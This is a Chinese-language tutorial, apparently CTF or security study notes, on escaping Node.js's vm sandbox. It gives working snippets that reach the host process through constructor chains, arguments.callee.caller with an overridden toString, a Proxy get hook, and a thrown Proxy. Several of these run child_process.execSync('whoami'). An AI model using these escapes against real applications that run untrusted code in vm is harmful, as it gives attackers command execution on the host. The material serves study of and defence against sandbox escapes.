vm1沙盒逃逸
沙箱逃逸本质就是找到一个沙箱外的对象,并调用其中的方法
this指向外部上下文对象
1 2 3 4
| const context = { name: 'myContext' }; const result = vm.runInNewContext(`this.name`, context); #this指向了runInNewContext提供的上下文context,这个对象在global中 console.log(result);
|
context为空时,传入global对象
在沙盒中:
this指向它的构造器(函数)的构造器(函数构造器)
const y1 = this.constructor.constructor('return process.env')();
this指向它的toString(方法)的构造器(函数构造器)
const y1 = this.toString.constructor('return process')();
然后我们就可以通过返回的process对象来rce了
<font style="color:rgb(51, 51, 51);">y1.mainModule.require('child_process').execSync('whoami').toString()</font>
context为危险对象时,也可直接调用
1 2 3 4 5 6 7 8
| const context = { myProcess: process, myRequire: require, };
const code = 'myProcess.exit()'; vm.runInNewContext(code, context);
|
context用其他外部普通对象时,也可以获取全局的函数构造器
const y1 = x.toString.constructor('return process')();
context为沙盒内对象(用{}声明)或者null时,用不了了
1 2 3 4 5 6
| const vm = require('vm'); const script = `m + n`; const sandbox = { m: 1, n: 2 }; const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res)
|
1 2 3 4 5 6
| const vm = require('vm'); const script = `...`; const sandbox = Object.create(null); const context = vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)
|
无外部上下文对象逃逸
捕获调用者
<font style="color:rgb(221, 17, 68);">arguments.callee.caller</font>
,它可以返回函数的调用者(沙箱外的对象)
重写__toString
思路:定义一个对象,重写其toSring方法,当外部尝试以字符串调用该对象时,触发__toSring,而调用者(global下的对象)就被arguments.callee.caller捕获,用它来逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| const vm = require('vm'); const script = `(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString() } return a })()`;
const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)
|
访问任意属性时放出钩子
思路:实例化一个Proxy类的对象,写一个get钩子,任何对象访问其任意属性就被钩住,再被arguments.callee.caller捕获,执行全局下的系统命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| const vm = require("vm");
const script = ` (() =>{ const a = new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) return a })() `; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res.abc)
|
主动抛出错误,寻找钩子释放点
抛出Proxy对象错误时,字符串拼接触发get钩子,使外部对象被arguments.callee.caller捕获,执行全局下的系统命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| const vm = require("vm");
const script = ` throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) `; try { vm.runInContext(script, vm.createContext(Object.create(null))); }catch(e) { console.log("error:" + e) }
|